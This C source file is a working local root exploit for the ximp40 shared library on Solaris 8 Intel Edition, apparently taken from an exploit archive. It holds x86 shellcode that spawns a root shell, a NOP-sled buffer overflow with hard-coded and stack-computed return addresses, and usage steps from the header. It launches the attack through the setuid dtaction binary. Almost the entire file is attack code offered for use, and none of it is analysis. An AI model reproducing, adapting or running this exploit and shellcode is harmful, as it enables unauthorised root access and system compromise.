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ximp40.c
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C/C++ Source or Header
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2005-02-12
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2KB
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73 lines
/*=============================================================================
Solaris ximp40 shared library exploit for Solaris8 Intel Edition
The Shadow Penguin Security (http://shadowpenguin.backsection.net)
Written by UNYUN (shadowpenguin@backsection.net)(Solaris7/8)
[usage]
#xhost +targethost
#telnet targethost
...
%setenv DISPLAY yourhost:0.0
%gcc ximp40.c
%./a.out
0:Default value 1:Calculated value > 1 <- Input 0 or 1
=============================================================================
*/
#include <stdio.h>
#define BUF_SIZE 272
#define EIP_OFFSET 260
#define FAKE_OFFSET 264
#define FAKE_VALUE 0x08046dec
#define EIP_VALUE 0x08047cb4
#define FAKE_VALUE_DIF 0xd9c
#define EIP_VALUE_DIF 0x12c
#define NOP 0x90
char shell_code[]=
"\xeb\x3b\x9a\xff\xff\xff\xff\x07\xff\xc3\x5e\x31\xc0\x89\x46\xc1"
"\x88\x46\xc6\x88\x46\x07\x89\x46\x0c\x31\xc0\x50\xb0\x17\xe8\xdf"
"\xff\xff\xff\x83\xc4\x04\x31\xc0\x50\x8d\x5e\x08\x53\x8d\x1e\x89"
"\x5e\x08\x53\xb0\x3b\xe8\xc8\xff\xff\xff\x83\xc4\x0c\xe8\xc8\xff"
"\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff";
unsigned long get_sp(void)
{
__asm__(" movl %esp,%eax ");
}
void valset(char *p,unsigned int val)
{
*p=val&0xff;
*(p+1)=(val>>8)&0xff;
*(p+2)=(val>>16)&0xff;
*(p+3)=(val>>24)&0xff;
}
main()
{
char buf[BUF_SIZE];
unsigned int esp=get_sp(),sw;
memset(buf,NOP,BUF_SIZE);
memcpy(buf+EIP_OFFSET-strlen(shell_code),shell_code,strlen(shell_code));
printf("esp=%x\n",esp);
printf("0:Default value 1:Calculated value >");
fflush(stdout);
scanf("%d",&sw);
if (sw==0){
valset(buf+FAKE_OFFSET, FAKE_VALUE);
valset(buf+EIP_OFFSET , EIP_VALUE);
printf("Jumping address = %x\n",EIP_VALUE);
}else{
valset(buf+FAKE_OFFSET, esp-FAKE_VALUE_DIF);
valset(buf+EIP_OFFSET , esp+EIP_VALUE_DIF);
printf("Jumping address = %x\n",esp+EIP_VALUE_DIF);
}
buf[BUF_SIZE-1]=0;
execl("/usr/dt/bin/dtaction",buf,NULL);
}
/* www.hack.co.za [2 Febuary 2001]*/